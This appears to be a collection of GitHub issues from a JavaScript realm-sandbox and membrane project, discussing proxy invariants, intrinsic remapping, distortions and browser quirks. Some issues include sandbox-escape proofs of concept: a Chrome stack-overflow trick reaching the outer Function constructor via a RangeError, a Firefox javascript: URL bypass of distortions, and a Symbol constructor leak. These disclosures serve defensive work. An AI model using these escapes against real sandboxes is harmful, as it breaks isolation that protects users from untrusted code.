Something I've been bitten by in the past is the various proxy trap invariants that you have to be aware of when projecting one value in place of another. I ended up with helpers like isUpdatableDescriptor, isUpdatableGet, and isUpdatableSet.

This can rear up when projecting over non-configurable or frozen properties.

Update:

It looks like some of the traps always return true in places (here, here, here, here) which could be a spot for an invariant to throw.

We remap Function but miss (async () => {}).constructor (AsyncFunction), (function* a() {}).constructor (GeneratorFunction), and (async function* a() {}).constructor (AsyncGeneratorFunction).

as today, every time you create a new env, the outer realm global object is inspected to extra all the info needed to build the sandbox, this information should be extracted during evaluation time rather than creation to avoid poisoning and other non-deterministic behavior.

the consumer of this package should be responsible for preparing the env before loading this package.

another alternative is to extra them once during the creation of the first sandbox, but that probably suffer from the same kind of problems.

The owner of the sandbox can also do extra mapping in case that the initial state of the outer realm is not exactly what they want, or they can attempt to create the proper distortion.

Because document.all == null

https://github.com/caridy/secure-javascript-environment/blob/6032355e5d26f70effa7cdb3cf6db2e051d81c54/src/secure-value.ts#L111

This line is incorrect because it will include document.all

As today, symbols are considered primitive, but the following code leaks today:

Symbol().constructor.__proto__ === Function.prototype

based on the assumption that we let symbols to pass through the membrane.

and additionally problem to be looked at here is the Symbol.from().

In browsers, the HostPromiseRejectionTracker depends on the identity of the Promise Intrinsic Object, which means there is no way to capture unhandled rejection produced by the Promise inside the sandbox, e.g.:

    const iframe = document.createElement('iframe');
    document.body.appendChild(iframe);
    const { contentWindow: { eval: iframeEval } } = iframe;
    // adding listeners
    window.addEventListener('error', e => console.error('onerror in outer window', e));
    window.addEventListener('unhandledrejection', e => console.error('captured onunhandledrejection in outer window with reason: ', e.reason));
    iframeEval(`
        window.addEventListener('error', e => console.error('onerror in iframe', e));
        window.addEventListener('unhandledrejection', e => console.error('captured onunhandledrejection in iframe with reason: ', e.reason));
    `);
    // trying Promise intrinsic object from iframe:
    iframeEval(`
        new Promise((resolve, reject) => {
            reject('rejection Promise intrinsic from iframe');
        });
    `);
    // trying Promise intrinsic object from outer realm:
    iframeEval(`
        new top.Promise((resolve, reject) => {
            reject('rejection Promise intrinsic from outer realm');
        });
    `);

From within the sandbox, when you do window.addEventListener('unhandledrejection') you are observing unhandled rejection from the outer realm, but that doesn't include those unhandled rejection from within the sandbox.

This seems to be a problem to be solved, it is not a security/leaking problem, but a capability problem.

It looks like the library fits our goals perfectly exhibiting identity continuity, preserving the integrity of the Incubator Realm. But we need our sandboxes to be as restricted by available API as possible. Actually we need a JS execution sandbox with ES-default intrinsics (nor browser neither node specific) + ability to provide some set of globals. Is it possible to achieve with this library? I have feeling that it should be by using @locker/near-membrane-base with some parts from @locker/near-membrane-dom but the lack of documentation makes reasoning quite hard.

Proxy wrapped functions and arrays tend to be safe to pass to methods. However, some methods like crypto.getRandomValues() expect unwrapped values (a typed array in this case).

Reproduction:

import { AsyncCall } from 'https://cdn.skypack.dev/[email protected]'
import createIframeVirtualEnvironment from 'http://cdn.skypack.dev/@locker/near-membrane-dom'

const exoticObject = AsyncCall(null, {
    channel: { on() {}, send() {} },
})

const vm = createIframeVirtualEnvironment(globalThis)

debugger
const obj = vm.evaluate(`e => e.foo`)(exoticObject)

// obj should be a function.

https://v8.dev/features/promise-combinators#promise.any

There are two main reasons for the current cloning mechanism for arrays:

• it reduces the risk of poisoning (but does not eliminated complete because of array-like objects are very effective replacement).
• Array.prototype.length, which is not a traditional accessor backed up by an internal slot.

Is is possible to solve this in a way that an array instance crossing the membrane can be proxified and its identity preserved by remapping the prototype of the proxy?

Some distortions may need to work with live objects, such as localStorage or sessionStorage. There may be others but the concept is the same.

I have identified an issue with the following scenario (code runs in the secure environment):

localStorage.setItem('foo', 'foo');
localStorage.setItem('bar', 'bar');

console.log(Object.keys(localStorage)); // returns [] should return 2

The issue seems to lie in SecureProxyHandler.initialize which makes a snapshot of the object the first time it is being seen and then never updates the properties on recurrent calls. With localStorage this occurs when we access the getter on the window object thus all other traps will disregard future properties added on this object.

The membrane/async-await.spec.js tests fail in Firefox and Safari. At the moment we are not testing with Safari, but CI fails with Firefox. For now and until we find a solution, disable async/await tests for these browsers.

When passing a red Proxy to a blue function the constructor is wrapped in a proxy that uses an arrow function as the target which means it can no longer do new Proxy(...) since arrow functions cannot be newed.
https://github.com/caridy/sandboxed-javascript-environment/blob/e9602e9274f39b690c7c48571c21f01961253541/src/red.ts#L623

Problem

It turns out chrome decide the prototype of RangeError by the function being called instead of caller.

So the RangeError behaves like a unforgeable hidden property on function. And can be exploited by stack overflow.

Maybe we should also add this to the proposal-preserve-virtualizability.

Or better, open another PR to standardize stack overflow behavior to stop similar problem once and for all.

POC

import createSecureEnvironment from '../lib/browser-realm.js';

function distortionCallback(t) {
    if (t === alert) {
        return () => {
            console.error('forbidden');
        }
    }
    return t;
}

const secureGlobalThis = createSecureEnvironment(distortionCallback);

secureGlobalThis.eval(`
    debugger;

    function getLimit (depth = 1) {
        try {
            return getLimit(depth + 1)
        } catch (err) {
            return depth
        }
    }

    console.log(getLimit())

    let err

    function exhaust(depth, cb) {
        try {
            if (depth > 0) {
                exhaust(depth - 1, cb)
            } else {
                cb('something')
            }
        } catch (_err) {
            err =_err
        }
    }

    const log = console.log

    exhaust(getLimit() - 1, log)

    debugger

    console.log(err, err instanceof RangeError)
    console.log((new (err.constructor.constructor('alert()')))())

    debugger
`);

Tested on chrome 78.0.3904.108

May be also exploitable on firefox, but firefox randomized the stack size. So these kind of exploit can't be done reliable. (Will likely requires thousands of try, and each one only has 0.01% chance to exploit the problem successfully)

Potential workaround (because it isn't really fixable)

Instead of construct the proxy and proxy handler inside the main document, construct them in the iframe and use rpc style payload to exchange information with main document.

(So you at least won't leak main document's reference to the sandboxed code directly)

Similar experiment project I wrote

Conclusion

It means (on chrome) you are all set if any function reference construct in main window was exposed to the iframe, because the iframe don't even need to run the function body to exploit the RangeError

I was hunting a bug of code running with near-membrane where code could not edit the style of an element. Something like this evaluated inside won't affect the DOM. This bug was only present in Chrome but not in Firefox (both latest versions)

const el = document.getElementById('test');
test.style.background = 'red'; // won't actually set the style.

By chance while reading the library code and searching through I found this unit test

And implementing the same approach using liveTargetCallback and marking with a symbol fixed this issue for Chrome.

That leads me to the question how does liveTargetCallback work?

I appreciate if you can illustrate the concept a bit more since there's no documentation and I'm still trying to digest the library code and understand how it works.

When a new component is defined in another realm, and registered in the main window, it fails to be created via innerHTML and document.createElement but works fine via new on the defined class.

Chromium Tracker:
https://bugs.chromium.org/p/chromium/issues/detail?id=1042435

I see the following usage in the source code:

env.link('window', 'document');
env.link('document');
env.link('__proto__', '__proto__', '__proto__');
ve.link('globalThis');

What did it do?

if the distortion is an actual map, there will be no confusion, and the perf of it will be predictable.

This is another question from SES meeting. If the disconnected iframe imports one module over the network before it is disconnected, can the disconnected iframe access that module again?

The only way to import a module (again) is via a dynamic import, which could be done via eval() as follow:

eval(`import('./same/path.js')`);

@jfparadis raised this issue during the SES meeting today considering that window.chrome is not configurable.

The following distortion seems to not get triggered. It seems like it is completely bypassed in favor of something else. The property is still surrounded in a SecureProxy.

const originalLocalStorageGetter = Reflect.getOwnPropertyDescriptor(window, 'localStorage').get;

function patchedLocalStorageGetter() { return {} };

const evaluator = createSecureEnvironment(new Map([[originalLocalStorageGetter, patchedLocalStorageGetter]]));

evaluator('console.log(localStorage)');

hello.

I am experimenting with near-membrane to isolate plugins executions.

I am using near-membrane-dom to load the plugins code, I create a virtual environment, load the code in a string and use evalute to get the code executed.

  const response = await fetch(pathToPluginJsCode);
  const code = await response.text();
   const env = createVirtualEnvironment(window, {
      // distortions are interceptors to modify the behavior of objects when
      // the code inside the sandbox tries to access them
      distortionCallback(v) {
          // pluginDistortionMap is the distortion definitions, not 
          return pluginDistortionMap.get(v) ?? v;
     },
    endowments: Object.getOwnPropertyDescriptors({
        // plugins normally run inside system js. I'm using this as mechanism to
        // resolve their deps and execute the code
        define(deps: string[], jsModule: () =>  void) => {
             const realDeps = resolveDeps(deps);
             const pluginExport = code.apply(null, realDeps);
             pluginExport.execute(); // the logic is a bit more complex but not relevant for this case.
        },
      }),
);

• Errors generated inside the virtual environment get printed in the browser console as Uncaught Proxy(Object) {} Do you know a good way to unwrap this object to present it human-readable?
• I found I can use the instrumentation to partially process these errors myself and I could parse the error stack trace and re-create it and print it nicely (even though the original error is thrown anyway)
• The error itself contains only the error name and message, but the stacktrace, as expected, points you to the near-membrane wrapping code which is not useful to know which actual line of the plugin throw the error.
• Because we evaluate the plugin code as text there's no references to lines of code inside it.

Generally speaking, is there a way to get what line of code generated the error inside the virtual environment? or maybe there's another way to evaluate the plugin's code that doesn't rely on a string so meaningful errors can be generated? There is little to none documentation and I feel force to ask here

Thanks in advance and amazing work in this library.

EventTarget is undefined in sandbox running on Chrome. Firefox is not affected

console.log(EventTarget) // undefined

This is possible when two realms can exchange objects. By setting a private field on it, we can improve the developer experience because they can know what is under this proxy.

This is also safe because the private field is not accessible outside the class body, if the class never read it, it is impossible to leak.

I have implemented this feature in my environment binding (where Node vm and Web iframe is both impossible), but I hope this feature can be in the upstream.

@jfparadis and @erights raised this issue during the SES meeting based on some previous conversations around this topic with some implementers. Specifically, he recalled some concerns from @littledan about this.

We should validate that indeed this is stable enough to rely on the intrinsics.

This is more of a question. With esm I was hiding the internals of the loader in another realm but would expose API points to the user's realm. When errors were thrown from the internal realm I had to ensure the errors produced were of the user's realm. I see that the secure-javascript-environment throws errors in places. Is there any cross-realm leak concern there?

@erights asked about this.target as RawTarget in the secure handler code, which means that we have an internal object graph that combines raw and secure objects. At first glance this is not a problem because we never expose that handler, we only pass it into an already cached Proxy constructor, but it is weird that we try to keep them all very separated except for this instance. We could use a weakmap instead. Also, the same applies for the other part of the membrane, a raw handler has a direct reference to a secure target.

The only reason why this is important is for developer productivity, because in the devtool, they can inspect the proxy and access the real target from the handler since the proxy target is the shadow target.

I noticed in the creation of distortion callbacks that we could use the shared utils to avoid prototype methods of arrays, maps, sets, etc. We could expose this as its own scoped package or promote use of @caridy/sjs/lib/shared (seems a bit like reaching for internals that way though).

Istanbul instruments all source code. Unfortunately, redEnvFactory is coerced to a string, it's missing a reference to the code coverage function that is in the outer scope. This causes an undefined access error when the red factory function is ran in the red realm.

@jdalton

I recently stumbled upon the script-src: unsafe-eval restriction in another project and got around it by using Function(code)() instead.

I was wondering if you guys tried that route to remove that requirement and, if you don't mind, what problems have you encountered?

This is just a todo to remember to address the Symbol.toStringTag check for proxies. The issue is proxies will Object.prototype.toString.call(proxied) as either an [object Object] or a [object Function] but not as anything else. In those cases the proxied value will need to project a Symbol.toStringTag value to cover it.

For reference you can see this and this.

const value: any = apply(originalGetter, baseGlobalThis, []); this one can probably reuse an empty array cached at the module level, but ... apply(originalSetter, baseGlobalThis, [v]); is more complicated to solve. @jdalton has some ideas here.

Throwing errors is appropriate for Object methods like Object.defineProperty when run in strict mode code. However, Reflect.defineProperty should return false without throwing an error. The proxy traps need to be constructed in a way to handle this. To solve this in esm I did two things.

• I virtually shimmed the Reflect API to catch errors thrown in their methods and return booleans
• I had a way to detect if a call was coming from strict-code using the V8 specific Error.prepareStackTrace API to walk the the stack and detect strict mode code. That's a bit involved and requires punching a sloppy-mode hole into the webpack bundle to get it right.

Since we own the secure realm though we can monkey-patch Reflect to avoid throwing and return booleans.

we might not need to change them all, assuming that the outer realm is safe, only need to be protected when interacting with SecureObjects. another alternative is to not use it at all, and just assume that no one is safe.

• How is the membrane observable?
• What are the language APIs that are limited by the membrane?

I noticed this function will modify Object.prototype whenever it is called (if globalThis is not available). Can this be turned into a constant instead of a function so that it's done once?

We should pluck the console.info and console.error methods off as ConsoleInfo and ConsoleError. Previous versions of console needed them bound so we can bind them:

const bind = uncurry(Function.prototype.bind);
const ConsoleError = bind(console.error, console);
const ConsoleInfo = bind(console.info, console);

or if we only bind them there and don't need the helper anywhere else

const ConsoleError = console.error.bind(console);
const ConsoleInfo = console.info.bind(console);

Today, the following list is remapped:

[
    'Object',
    'Function',
    'URIError',
    'TypeError',
    'SyntaxError',
    'ReferenceError',
    'RangeError',
    'EvalError',
    'Error',
]

But there are a lot more pieces that can be remapped safety. Additionally we have issues with intrinsic accessors accessing internal slots that will not work with the remapping of the intrinsic prototypes, which might requires a lot more patching on the intrinsics in the sandbox before using the sandbox.

Steps to reproduce:

$ git clone https://github.com/caridy/secure-javascript-environment
$ cd secure-javascript-environment
$ npm install
$ npm start

Go to http://localhost:8080/examples/invalid-fetch.html

Edit invalid-fetch.js to contain the following snippet in secureGlobalThis.eval()

location='javascript:alert(top.fetch)'; // FF only

What should happen?

No access to native fetch() since it is distorted

What happens instead?

Access to native fetch(), none of the code goes through the distortion map as location is not proxied.

See observable-membrane use of custom formatters to unwrap proxied values.

A detached iframe is an important piece of this library, unfortunately Chrome Devtool trashes the iframe as soon as it is detached, no debugging capabilities, no logs, nothing. The code works fine, but debugging is virtually impossible.

Chromium Tracker:
https://bugs.chromium.org/p/chromium/issues/detail?id=1015462

This is the link to the original bug in FF:
https://bugzilla.mozilla.org/show_bug.cgi?id=543435

Since this bug is not going to be fixed, we need a workaround for the cases when keepAlive is set to true. Which causes a problem in the membrane since the identity of the document changes at the macrotask, and it is not the original identity after creation that is mapped to the outer window document.

@jdalton came up with a quick solution to this problem, which is tested here:
https://jsbin.com/segokef/1/edit?html,js,console,output

Basically, after creation and insertion of the iframe, just use document.open().close() in the iframe, that forces FF to never replace the document because it might have been mutated, which means the identity of the document will remain the same forever.

In the primary realm:

document.bar = { a:1, b: 2 }
Object.freeze(document.bar)
Object.isFrozen(document.bar) // => true

Within the shadow realm:

document.bar.c = 3
document.bar // => { a:1, b:2, c:3 }
Object.isFrozen(document.bar) // => false

When @jdalton was trying canary, he found some issues with TrustedTypes, specifically, the new global is unforgeable, forcing this library to add more offenders for the membrane.

Ref: https://w3c.github.io/webappsec-trusted-types/dist/spec/#trusted-types

Few questions arise:

1. why making TrustedTypes unforgeable? Does it really solve any issue?
2. if it remains unforgeable? how to deal with this via the membrane? do we need to replace its descriptors? or should we remap them?